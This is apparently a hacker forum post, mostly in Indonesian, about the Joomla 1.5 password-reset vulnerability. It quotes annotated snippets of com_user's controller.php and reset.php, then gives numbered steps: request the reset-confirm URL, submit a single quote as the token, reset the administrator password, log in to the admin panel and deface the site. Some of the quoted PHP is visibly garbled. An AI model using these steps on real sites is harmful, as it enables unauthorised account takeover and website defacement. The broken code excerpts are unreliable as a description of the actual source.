Joomla Template's 1.5 Bermasalah

Ternyata, Joomla template 1.5 punya masalah yang sangat fatal | --- harus segera di patch

. Let's check

point pertama terletak di ".. /components/com_user/controller.php "

Answer : Why ?
Question :

1. this "../components/com_user/controller.php"

function confirmreset()
{
// Check for request forgeries
JRequest::checkToken() or die( 'Invalid Token' );

// Get the input //permintaan terhadap token------ Post method//
$token = JRequest::getVar('token', null, 'post', 'alnum'); <-- [One Mistake's]

// Get the model
$model = &$this->getModel('Reset');

// Verify the token//konfirmasi terhadap token ---- ternyata .. minta reset password browww//
if ($model->confirmReset($token) === false) < --- [Two Mistake's]
{
$message = JText::sprintf('PASSWORD_RESET_CONFIRMATION_FAILED', $model->getError());
$this->setRedirect('index.php?option=com_user&view=reset&layout=
confirm', $message);

return false;
}

$this->setRedirect('index.php?option=com_user&view=reset&layout=
complete'); <--- [nah Ini dia Injeksinya, rubah complete dengan confirm]
}

2. this "../components/com_user/models/reset.php"

function confirmReset($token)
{
global $mainframe;

//wiihhh kena deh tuh pasword di reset .... kacian yah //
$db = &JFactory::getDBO();
$db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token)); loadResult()))
{
$this->setError(JText::_('INVALID_TOKEN'));
return false;
}

// Push the token and user id into the session
$mainframe->setUserState($this->_namespace.'token', $token);
$mainframe->setUserState($this->_namespace.'id', $id);

return true;
}

coba deh di test dengan SQl Injection
step 1 .. inject target dengan : index.php?option=com_user&view=reset&layout=confirm
step 2 .. keluar tuh token .. isikan token dengan " ' " | tanpa tanda kutip dua
step 3 .. nah loo. suruh reset password ...
step 4 .. masuk ke menu administrator
step 5 ... sediakan kopi, marlboro + snack ... "deface maaannnng"

sorry guy's just share

[Thank's All - ZuRigColl]